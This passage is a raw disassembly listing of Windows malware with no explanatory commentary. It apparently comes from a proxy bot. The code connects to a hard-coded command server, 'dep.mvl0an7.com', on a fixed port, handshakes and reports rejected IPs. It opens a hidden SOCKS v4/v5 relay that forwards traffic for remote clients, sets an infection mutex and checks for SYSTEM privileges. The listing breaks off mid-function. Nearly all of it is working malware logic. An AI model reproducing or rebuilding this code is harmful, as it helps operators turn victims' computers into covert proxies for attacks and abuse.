push offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
call sub_4017BE
pop ecx
mov [ebp+var_14], eax
test eax, eax
jz short loc_403C87
cmp eax, 0FFFFFFFFh
jz short loc_403C87
test eax, eax
jnz short loc_403C8C
loc_403C87: ; CODE XREF: sub_403C3F+3Bj
; sub_403C3F+42j
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403C8C: ; CODE XREF: sub_403C3F+46j
mov [ebp+var_16], 24A2h
xor esi, esi
and [ebp+var_C], 0
push 0
push offset dword_411024
call dword_411D04 ; InterlockedExchange
cmp dword_411004, 0
jnz short loc_403CCA
movzx eax, word ptr dword_41100C
push eax
movzx eax, word ptr dword_411010
push eax
call sub_4023DC
pop ecx
pop ecx
mov dword_411004, eax
loc_403CCA: ; CODE XREF: sub_403C3F+6Dj
movzx eax, word ptr dword_41100C
push eax
movzx eax, word ptr dword_411010
push eax
call sub_402449
pop ecx
pop ecx
push dword_411010
push offset aMyPortI ; "my port [%i]\n"
call nullsub_2
pop ecx
pop ecx
mov eax, [ebp+var_14]
mov [ebp+var_1C], eax
push eax
call sub_406D20 ; inet_ntoa
mov [ebp+var_20], eax
movzx eax, [ebp+var_16]
push eax
push [ebp+var_20]
push offset aSrvSI ; "SRV: [%s:%i]\n"
call nullsub_2
add esp, 0Ch
and [ebp+var_10], 0
call sub_401359
mov [ebp+var_10], eax
test eax, eax
jz loc_403FB9
push [ebp+var_10]
call sub_4019C3
pop ecx
mov esi, eax
push offset aSrvConnecting_ ; "SRV: connecting...\n"
call nullsub_2
pop ecx
movzx eax, [ebp+var_16]
push eax
push [ebp+var_14]
push [ebp+var_10]
call sub_401567
add esp, 0Ch
test eax, eax
jnz short loc_403D68
push offset aSrvConnectingF ; "SRV: connecting failed.\n"
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403D68: ; CODE XREF: sub_403C3F+117j
push offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
call nullsub_2
pop ecx
mov [ebp+var_24], 1000h
call sub_403B83
push eax
push offset aSrvRip?I ; "SRV: rip? %i\n"
call nullsub_2
pop ecx
pop ecx
call sub_403B83
test eax, eax
jz short loc_403D99
or [ebp+var_24], 1
loc_403D99: ; CODE XREF: sub_403C3F+154j
push [ebp+var_24]
movzx eax, word ptr dword_411010
push eax
push esi
call sub_401D76
add esp, 0Ch
test eax, eax
jnz short loc_403DC1
push offset aSrvHandshaking ; "SRV: handshaking failed.\n"
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403DC1: ; CODE XREF: sub_403C3F+170j
push offset byte_40EBFB
call nullsub_2
pop ecx
push esi
call sub_401F51
pop ecx
mov [ebp+var_8], eax
test eax, eax
jz short loc_403DEA
push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n"
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403DEA: ; CODE XREF: sub_403C3F+199j
test byte ptr [ebp+var_24], 1
jz loc_403EA1
push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
call nullsub_2
pop ecx
push 10004h
call sub_401048
pop ecx
mov [ebp+var_30], eax
mov [ebp+var_2C], eax
and [ebp+var_28], 0
loc_403E14: ; CODE XREF: sub_403C3F+1F8j
call sub_403B7E
mov edi, eax
test edi, edi
jz short loc_403E39
mov edx, [ebp+var_2C]
mov [edx], edi
mov eax, [ebp+var_2C]
add eax, 4
mov [ebp+var_2C], eax
inc [ebp+var_28]
cmp [ebp+var_28], 3FFFh
jl short loc_403E14
loc_403E39: ; CODE XREF: sub_403C3F+1DEj
mov eax, [ebp+var_28]
add eax, eax
add eax, eax
push eax
push [ebp+var_30]
push 100h
push esi
call sub_401B8F
add esp, 10h
test eax, eax
jnz short loc_403E6F
push [ebp+var_30]
call sub_401076
pop ecx
push offset sub_40EB9E
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403E6F: ; CODE XREF: sub_403C3F+215j
push [ebp+var_30]
call sub_401076
pop ecx
push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
call nullsub_2
pop ecx
push esi
call sub_401F51
pop ecx
mov [ebp+var_8], eax
test eax, eax
jz short loc_403EA1
push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n"
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403EA1: ; CODE XREF: sub_403C3F+1AFj
; sub_403C3F+250j ...
push 0FFFFh
push 0
lea eax, [ebp+var_2]
push eax
push esi
call sub_401D5B
add esp, 10h
mov ebx, eax
test ebx, ebx
jl loc_403FB9
movzx eax, [ebp+var_2]
mov [ebp+var_28], eax
cmp eax, 200h
jz short loc_403EE0
cmp eax, 201h
jz short loc_403F21
cmp eax, 202h
jz short loc_403EF0
jmp loc_403FB4
; ---------------------------------------------------------------------------
loc_403EE0: ; CODE XREF: sub_403C3F+28Cj
push offset byte_40EB5F
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403EF0: ; CODE XREF: sub_403C3F+29Aj
push offset word_40EB52
call nullsub_2
pop ecx
push [ebp+var_C]
push ebx
push dword ptr [esi+470h]
call sub_403B86
add esp, 0Ch
test eax, eax
jz loc_403FB4
mov [ebp+var_C], 1
jmp loc_403FB4
; ---------------------------------------------------------------------------
loc_403F21: ; CODE XREF: sub_403C3F+293j
test ebx, ebx
jnz short loc_403F2E
mov edx, [esi+470h]
mov byte ptr [edx], 0
loc_403F2E: ; CODE XREF: sub_403C3F+2E4j
push dword ptr [esi+470h]
push offset sub_40EB3F
call nullsub_2
pop ecx
pop ecx
test ebx, ebx
jz short loc_403FB4
push dword ptr [esi+470h]
call sub_407650
pop ecx
test eax, eax
jz short loc_403FB4
push 0
push offset dword_411014
call dword_411D2C ; InterlockedExchangeAdd
test eax, eax
jnz short loc_403FB4
push 1
push offset dword_411014
call dword_411D04 ; InterlockedExchange
push 10000h
call sub_401048
pop ecx
mov [ebp+var_2C], eax
push dword ptr [esi+470h]
push [ebp+var_2C]
call sub_407670
pop ecx
pop ecx
push offset sub_40EB25
call nullsub_2
pop ecx
push [ebp+var_2C]
push 0
push offset sub_40399A
call sub_407910
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
loc_403FB4: ; CODE XREF: sub_403C3F+29Cj
; sub_403C3F+2D0j ...
jmp loc_403EA1
; ---------------------------------------------------------------------------
loc_403FB9: ; CODE XREF: sub_403C3F:loc_403C87j
; sub_403C3F+E6j ...
test esi, esi
jz short loc_403FC4
push esi
call sub_401A3B
pop ecx
loc_403FC4: ; CODE XREF: sub_403C3F+37Cj
cmp [ebp+var_10], 0
jz short loc_403FD3
push [ebp+var_10]
call sub_4014C2
pop ecx
loc_403FD3: ; CODE XREF: sub_403C3F+389j
push offset aSrvcommthreadD ; "SrvCommThread: done\n"
call nullsub_2
pop ecx
call sub_4079A0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403C3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403FEA proc near ; CODE XREF: sub_403FEA+21j
; DATA XREF: sub_404967+1ACo ...
call sub_403658
test eax, eax
jz short loc_404000
call sub_40506C
push 0
call dword_411D30 ; ExitProcess
loc_404000: ; CODE XREF: sub_403FEA+7j
push 3E8h
call dword_411D00 ; Sleep
jmp short sub_403FEA
sub_403FEA endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40400E proc near ; DATA XREF: sub_404967+189o
; DMN1:00445A71o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
and [ebp+var_4], 0
loc_404019: ; CODE XREF: sub_40400E+A4j
push 0
push 0
push offset sub_403C3F
call sub_407910
add esp, 0Ch
mov esi, eax
push 0FFFFFFFFh
mov eax, esi
push eax
call dword_411D34 ; WaitForSingleObject
mov eax, esi
push eax
call dword_411CF8 ; CloseHandle
cmp dword_411030, 0
jz short loc_4040B7
lea eax, [ebp+var_4]
push eax
call sub_401001
pop ecx
mov ecx, 3Ch
cdq
idiv ecx
lea eax, [edx+6EAh]
mov edi, eax
push edi
push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
call nullsub_2
pop ecx
pop ecx
mov ebx, edi
jmp short loc_40409A
; ---------------------------------------------------------------------------
loc_404074: ; CODE XREF: sub_40400E+8Ej
push ebx
push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b."
call nullsub_2
pop ecx
pop ecx
push 7D0h
call dword_411D00 ; Sleep
sub ebx, 2
call sub_403658
test eax, eax
jz short loc_40409A
xor ebx, ebx
loc_40409A: ; CODE XREF: sub_40400E+64j
; sub_40400E+88j
test ebx, ebx
jg short loc_404074
push offset asc_40EAC3 ; "\r \r"
call nullsub_2
pop ecx
cmp dword_411030, 0
jz short loc_4040B7
jmp loc_404019
; ---------------------------------------------------------------------------
loc_4040B7: ; CODE XREF: sub_40400E+39j
; sub_40400E+A2j
call sub_4079A0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40400E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040C3 proc near ; CODE XREF: sub_4066F1+3DFp
; sub_4066F1+488p ...
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 44h
mov [ebp+var_44], 3Fh
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_40]
push eax
call dword_411E40 ; GetUserNameA
test eax, eax
jz short loc_40410A
cmp [ebp+var_44], 6
jnb short loc_4040EC
xor eax, eax
jmp short loc_40410A
; ---------------------------------------------------------------------------
loc_4040EC: ; CODE XREF: sub_4040C3+23j
mov [ebp+var_1], 0
lea eax, [ebp+var_40]
push eax
push offset aSystem ; "SYSTEM"
call dword_411D38 ; lstrcmpi
test eax, eax
jz short loc_404107
xor eax, eax
jmp short loc_40410A
; ---------------------------------------------------------------------------
loc_404107: ; CODE XREF: sub_4040C3+3Ej
xor eax, eax
inc eax
loc_40410A: ; CODE XREF: sub_4040C3+1Dj
; sub_4040C3+27j ...
mov esp, ebp
pop ebp
retn
sub_4040C3 endp
; =============== S U B R O U T I N E =======================================
sub_40410E proc near ; CODE XREF: sub_405AC9+1p
; sub_405BE3:loc_405C59p ...
push ebx
cmp dword_411028, 0
jz short loc_40411C
xor eax, eax
jmp short loc_404160
; ---------------------------------------------------------------------------
loc_40411C: ; CODE XREF: sub_40410E+8j
xor ebx, ebx
push offset a_win32__nts_um ; "_win32__nts_um__"
push 0
push 0
call dword_411D08 ; CreateMutexA
mov dword_411028, eax
cmp dword_411028, 0
jz short loc_40415E
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_40415E
xor ebx, ebx
inc ebx
push dword_411028
call dword_411CF8 ; CloseHandle
and dword_411028, 0
loc_40415E: ; CODE XREF: sub_40410E+2Bj
; sub_40410E+38j
mov eax, ebx
loc_404160: ; CODE XREF: sub_40410E+Cj
pop ebx
retn
sub_40410E endp
; =============== S U B R O U T I N E =======================================
sub_404162 proc near ; CODE XREF: sub_405AC9+3Dp
; sub_405BE3+5Ap ...
cmp dword_411028, 0
jz short locret_40417E
push dword_411028
call dword_411CF8 ; CloseHandle
and dword_411028, 0
locret_40417E: ; CODE XREF: sub_404162+7j
retn
sub_404162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40417F proc near ; CODE XREF: sub_4041FB+2Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
lea ebx, [ebp+var_20]
mov byte ptr [ebx], 0
inc ebx
movzx eax, [ebp+arg_4]
mov [ebx], al
inc ebx
mov ax, [ebp+arg_C]
mov [ebx], ax
add ebx, 2
mov eax, [ebp+arg_8]
mov [ebx], eax
push 8
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_401787
add esp, 0Ch
pop ebx
mov esp, ebp
pop ebp
retn
sub_40417F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041B9 proc near ; CODE XREF: sub_4041FB+47p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
lea ebx, [ebp+var_20]
mov byte ptr [ebx], 5
inc ebx
movzx eax, [ebp+arg_4]
mov [ebx], al
inc ebx
mov byte ptr [ebx], 0
inc ebx
mov byte ptr [ebx], 1
inc ebx
mov eax, [ebp+arg_8]
mov [ebx], eax
add ebx, 4
mov ax, [ebp+arg_C]
mov [ebx], ax
push 0Ah
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_401787
add esp, 0Ch
pop ebx
mov esp, ebp
pop ebp
retn
sub_4041B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041FB proc near ; CODE XREF: sub_4042CD+1F8p
; sub_4042CD+3B4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
push ebx
mov bl, [ebp+arg_8]
cmp bl, 9
jbe short loc_40420B
xor bl, bl
inc bl
loc_40420B: ; CODE XREF: sub_4041FB+Aj
cmp [ebp+arg_0], 4
jnz short loc_404233
movzx eax, bl
mov bl, byte_411034[eax]
movzx eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
movzx eax, bl
push eax
push [ebp+arg_4]
call sub_40417F
add esp, 10h
jmp short loc_40424A
; ---------------------------------------------------------------------------
loc_404233: ; CODE XREF: sub_4041FB+14j
movzx eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
movzx eax, bl
push eax
push [ebp+arg_4]
call sub_4041B9
add esp, 10h
loc_40424A: ; CODE XREF: sub_4041FB+36j
pop ebx
pop ebp
retn
sub_4041FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40424D proc near ; CODE XREF: sub_4042CD+182p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
mov ebx, [ebp+arg_0]
loc_404255: ; CODE XREF: sub_40424D+23j
push 1
lea eax, [ebp+var_1]
push eax
push ebx
call sub_4016DC
add esp, 0Ch
test eax, eax
jg short loc_40426C
xor eax, eax
jmp short loc_404275
; ---------------------------------------------------------------------------
loc_40426C: ; CODE XREF: sub_40424D+19j
cmp [ebp+var_1], 0
jnz short loc_404255
xor eax, eax
inc eax
loc_404275: ; CODE XREF: sub_40424D+1Dj
pop ebx
mov esp, ebp
pop ebp
retn
sub_40424D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40427A proc near ; CODE XREF: sub_4042CD+1B9p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
xor edi, edi
mov byte ptr [ebx], 0
loc_40428C: ; CODE XREF: sub_40427A+47j
push 1
lea eax, [ebp+var_1]
push eax
push [ebp+arg_0]
call sub_4016DC
add esp, 0Ch
test eax, eax
jg short loc_4042A5
xor eax, eax
jmp short loc_4042C6
; ---------------------------------------------------------------------------
loc_4042A5: ; CODE XREF: sub_40427A+25j
mov eax, edi
inc edi
mov dl, [ebp+var_1]
mov [ebx+eax], dl
mov byte ptr [ebx+edi], 0
lea eax, [esi-1]
cmp edi, eax
jl short loc_4042BD
xor eax, eax
jmp short loc_4042C6
; ---------------------------------------------------------------------------
loc_4042BD: ; CODE XREF: sub_40427A+3Dj
cmp [ebp+var_1], 0
jnz short loc_40428C
xor eax, eax
inc eax
loc_4042C6: ; CODE XREF: sub_40427A+29j
; sub_40427A+41j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40427A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4042CD proc near ; DATA XREF: sub_404967+214o
; DMN1:00445AFCo
var_430 = dword ptr -430h
var_42B = byte ptr -42Bh
var_42A = byte ptr -42Ah
var_429 = byte ptr -429h
var_428 = dword ptr -428h
var_421 = byte ptr -421h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_411 = byte ptr -411h
var_410 = dword ptr -410h
var_40A = word ptr -40Ah
var_408 = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 430h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_41C], eax
mov edi, [eax+8]
mov eax, [ebp+var_41C]
mov edx, [eax]
mov [ebp+var_410], edx
mov dx, [eax+4]
mov [ebp+var_40A], dx
push eax
call sub_401076
pop ecx
and [ebp+var_4], 0
mov eax, [ebp+var_410]
mov [ebp+var_420], eax
push eax
call sub_406D20 ; inet_ntoa
mov [ebp+var_418], eax
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_418]
push offset aConnectionFrom ; "connection from [%s]\n"
call sub_407260
add esp, 0Ch
mov [ebp+var_411], 0
mov [ebp+var_421], 0
push 1
lea eax, [ebp+var_411]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
push 0
push [ebp+var_410]
push dword_412934
call sub_401FE3
add esp, 0Ch
mov [ebp+var_428], eax
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
cmp [ebp+var_428], 0
jnz short loc_4043B6
push [ebp+var_418]
push offset aConnectionReje ; "connection rejected (from [%s])\n"
call nullsub_1
pop ecx
pop ecx
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4043B6: ; CODE XREF: sub_4042CD+D0j
mov [ebp+var_40A], 0
and [ebp+var_410], 0
mov al, [ebp+var_411]
cmp al, 4
jz short loc_4043D8
cmp al, 5
jnz loc_40493A
loc_4043D8: ; CODE XREF: sub_4042CD+101j
push [ebp+var_418]
movsx eax, [ebp+var_411]
push eax
push offset aSocksVIS ; "socks v%i [%s]\n"
call nullsub_1
add esp, 0Ch
cmp [ebp+var_411], 4
jnz loc_4044D2
push 1
lea eax, [ebp+var_421]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push 2
lea eax, [ebp+var_40A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push 4
lea eax, [ebp+var_410]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push edi
call sub_40424D
pop ecx
test eax, eax
jz loc_40493A
mov eax, [ebp+var_410]
test eax, 0FFFFFFh
jnz loc_4046BE
test eax, 0FF000000h
jz loc_4046BE
push 400h
lea eax, [ebp+var_408]
push eax
push edi
call sub_40427A
add esp, 0Ch
test eax, eax
jz loc_40493A
lea eax, [ebp+var_408]
push eax
call sub_4017BE
pop ecx
mov [ebp+var_410], eax
test eax, eax
jz short loc_4044BC
cmp eax, 0FFFFFFFFh
jz short loc_4044BC
test eax, eax
jnz loc_4046BE
loc_4044BC: ; CODE XREF: sub_4042CD+1DEj
; sub_4042CD+1E5j
push 0
push 0
push 4
push edi
push 4
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4044D2: ; CODE XREF: sub_4042CD+12Dj
cmp [ebp+var_411], 5
jnz loc_40493A
mov [ebp+var_429], 0
push 1
lea eax, [ebp+var_429]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jg short loc_404522
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_404501: ; CODE XREF: sub_4042CD+25Cj
push 1
lea eax, [ebp+var_42A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
sub [ebp+var_429], 1
loc_404522: ; CODE XREF: sub_4042CD+22Dj
cmp [ebp+var_429], 0
jnz short loc_404501
mov [ebp+var_430], 5
push 2
lea eax, [ebp+var_430]
push eax
push edi
call sub_401787
add esp, 0Ch
test eax, eax
jle loc_40493A
push 1
lea eax, [ebp+var_42A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
cmp [ebp+var_42A], 5
jnz loc_40493A
push 1
lea eax, [ebp+var_421]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
push 1
lea eax, [ebp+var_42A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
mov [ebp+var_42B], 0
push 1
lea eax, [ebp+var_42B]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
cmp [ebp+var_42B], 1
jnz short loc_4045F3
push 4
lea eax, [ebp+var_410]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jg loc_4046A4
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4045F3: ; CODE XREF: sub_4042CD+305j
cmp [ebp+var_42B], 3
jnz loc_40468E
push 1
lea eax, [ebp+var_429]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
cmp [ebp+var_429], 0
jz loc_40493A
movsx eax, [ebp+var_429]
push eax
lea eax, [ebp+var_408]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
movsx eax, [ebp+var_429]
mov [ebp+eax+var_408], 0
lea eax, [ebp+var_408]
push eax
call sub_4017BE
pop ecx
mov [ebp+var_410], eax
test eax, eax
jz short loc_404678
cmp eax, 0FFFFFFFFh
jz short loc_404678
test eax, eax
jnz short loc_4046A4
loc_404678: ; CODE XREF: sub_4042CD+39Ej
; sub_4042CD+3A5j
push 0
push 0
push 4
push edi
push 5
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_40468E: ; CODE XREF: sub_4042CD+32Dj
push 0
push 0
push 8
push edi
push 5
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4046A4: ; CODE XREF: sub_4042CD+31Bj
; sub_4042CD+3A9j
push 2
lea eax, [ebp+var_40A]
push eax
push edi
call sub_4016DC
add esp, 0Ch
test eax, eax
jle loc_40493A
loc_4046BE: ; CODE XREF: sub_4042CD+19Bj
; sub_4042CD+1A6j ...
movzx eax, [ebp+var_40A]
push eax
call sub_406CD8 ; htons
mov [ebp+var_40A], ax
test ax, ax
jnz short loc_4046F3
push 0
push 0
push 2
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4046F3: ; CODE XREF: sub_4042CD+408j
cmp [ebp+var_421], 1
jz short loc_404722
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_410]
push 7
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_404722: ; CODE XREF: sub_4042CD+42Dj
call sub_401359
mov [ebp+var_4], eax
test eax, eax
jnz short loc_40474A
push 0
push 0
push 1
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_40474A: ; CODE XREF: sub_4042CD+45Fj
mov eax, [ebp+var_410]
mov [ebp+var_420], eax
push eax
call sub_406D20 ; inet_ntoa
mov [ebp+var_418], eax
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_418]
push offset aConnectingToSI ; "connecting to %s:%i\n"
call nullsub_1
add esp, 0Ch
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_410]
push [ebp+var_4]
call sub_401567
add esp, 0Ch
test eax, eax
jnz short loc_4047E1
call sub_406D32 ; WSAGetLastError
push eax
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_418]
push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n"
call nullsub_1
add esp, 10h
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_410]
push 4
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
jmp loc_40493A
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_4042CD+4CBj
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_418]
push offset aConnectedToSI ; "connected to %s:%i\n"
call nullsub_1
add esp, 0Ch
movzx eax, [ebp+var_40A]
push eax
push [ebp+var_410]
push 0
push edi
movsx eax, [ebp+var_411]
push eax
call sub_4041FB
add esp, 14h
test eax, eax
jz loc_40493A
push offset aTransferringDa ; "transferring data...\n"
call nullsub_1
pop ecx
xor esi, esi
loc_404832: ; CODE XREF: sub_4042CD+64Cj
; sub_4042CD+65Dj
inc esi
push edi
call sub_4014CF
pop ecx
test eax, eax
jl loc_40492F
push edi
call sub_401542
pop ecx
mov ebx, eax
test ebx, ebx
jl loc_40492F
cmp esi, 1Eh
jle short loc_40485F
test ebx, ebx
jnz short loc_40485F
xor ebx, ebx
inc ebx
loc_40485F: ; CODE XREF: sub_4042CD+589j
; sub_4042CD+58Dj
test ebx, ebx
jle short loc_4048AB
cmp ebx, 400h
jle short loc_404870
mov ebx, 400h
loc_404870: ; CODE XREF: sub_4042CD+59Cj
push ebx
lea eax, [ebp+var_408]
push eax
push edi
call sub_4016DC
add esp, 0Ch
mov [ebp+var_8], eax
test eax, eax
jle loc_40492F
push [ebp+var_8]
lea eax, [ebp+var_408]
push eax
push [ebp+var_4]
call sub_401787
add esp, 0Ch
test eax, eax
jle loc_40493A
xor esi, esi
loc_4048AB: ; CODE XREF: sub_4042CD+594j
push [ebp+var_4]
call sub_4014CF
pop ecx
test eax, eax
jl short loc_40492F
push [ebp+var_4]
call sub_401542
pop ecx
mov ebx, eax
test ebx, ebx
jl short loc_40492F
cmp esi, 1Eh
jle short loc_4048D3
test ebx, ebx
jnz short loc_4048D3
xor ebx, ebx
inc ebx
loc_4048D3: ; CODE XREF: sub_4042CD+5FDj
; sub_4042CD+601j
test ebx, ebx
jle short loc_404917
cmp ebx, 400h
jle short loc_4048E4
mov ebx, 400h
loc_4048E4: ; CODE XREF: sub_4042CD+610j
push ebx
lea eax, [ebp+var_408]
push eax
push [ebp+var_4]
call sub_4016DC
add esp, 0Ch
mov [ebp+var_8], eax
test eax, eax
jle short loc_40492F
push [ebp+var_8]
lea eax, [ebp+var_408]
push eax
push edi
call sub_401787
add esp, 0Ch
test eax, eax
jle short loc_40493A
xor esi, esi
loc_404917: ; CODE XREF: sub_4042CD+608j
test esi, esi
jz loc_404832
push 12Ch
call dword_411D00 ; Sleep
jmp loc_404832
; ---------------------------------------------------------------------------
loc_40492F: ; CODE XREF: sub_4042CD+56Fj
; sub_4042CD+580j ...
push offset aDataExchangeCo ; "data exchange complete\n"
call nullsub_1
pop ecx
loc_40493A: ; CODE XREF: sub_4042CD+91j
; sub_4042CD+E4j ...
push offset aConnectionClos ; "connection closed.\n"
call nullsub_1
pop ecx
push edi
call sub_4014C2
pop ecx
cmp [ebp+var_4], 0
jz short loc_40495B
push [ebp+var_4]
call sub_4014C2
pop ecx
loc_40495B: ; CODE XREF: sub_4042CD+683j
call sub_4079A0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4042CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404967 proc near ; DATA XREF: sub_406677+62o
; DMN1:0044765Ao
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
and [ebp+var_4], 0
and dword_41100C, 0
push offset aListener___ ; "listener...\n"
call nullsub_1
pop ecx
lea eax, [ebp+var_A]
push eax
call sub_4024A6
pop ecx
mov bx, ax
test bx, bx
jz short loc_4049BB
cmp bx, 0FFFFh
jz short loc_4049BB
movzx eax, bx
cmp dword_411010, eax
jz short loc_4049BB
movzx eax, bx
mov dword_411010, eax
movzx eax, [ebp+var_A]
mov dword_41100C, eax
loc_4049BB: ; CODE XREF: sub_404967+2Fj
; sub_404967+36j ...
call sub_401359
mov dword_411030, eax
loc_4049C5: ; CODE XREF: sub_404967+D7j
cmp dword_41100C, 0
jnz short loc_4049FE
loc_4049CE: ; CODE XREF: sub_404967+8Ej
; sub_404967+95j
lea eax, [ebp+var_4]
push eax
call sub_401001
pop ecx
mov ecx, 0C350h
cdq
idiv ecx
lea eax, [edx+2710h]
mov dword_41100C, eax
mov eax, dword_41100C
cmp eax, 24A2h
jz short loc_4049CE
cmp eax, 15B7h
jz short loc_4049CE
loc_4049FE: ; CODE XREF: sub_404967+65j
movzx eax, word ptr dword_41100C
push eax
push 0
push dword_411030
call sub_4015B7
add esp, 0Ch
test eax, eax
jnz short loc_404A40
and dword_41100C, 0
and dword_411010, 0
push dword_411030
call sub_4014C2
pop ecx
call sub_401359
mov dword_411030, eax
jmp short loc_4049C5
; ---------------------------------------------------------------------------
loc_404A40: ; CODE XREF: sub_404967+B1j
push dword_41100C
push offset aSocksPortI ; "SOCKS port: %i\n"
call sub_407260
pop ecx
pop ecx
mov eax, dword_41100C
mov dword_411010, eax
call sub_403113
mov [ebp+var_8], eax
movzx eax, word ptr dword_411010
push eax
movzx eax, word ptr dword_41100C
push eax
push [ebp+var_8]
call sub_403322
add esp, 0Ch
movzx eax, ax
mov dword_411010, eax
cmp dword_411010, 0
jnz short loc_404A9C
mov eax, dword_41100C
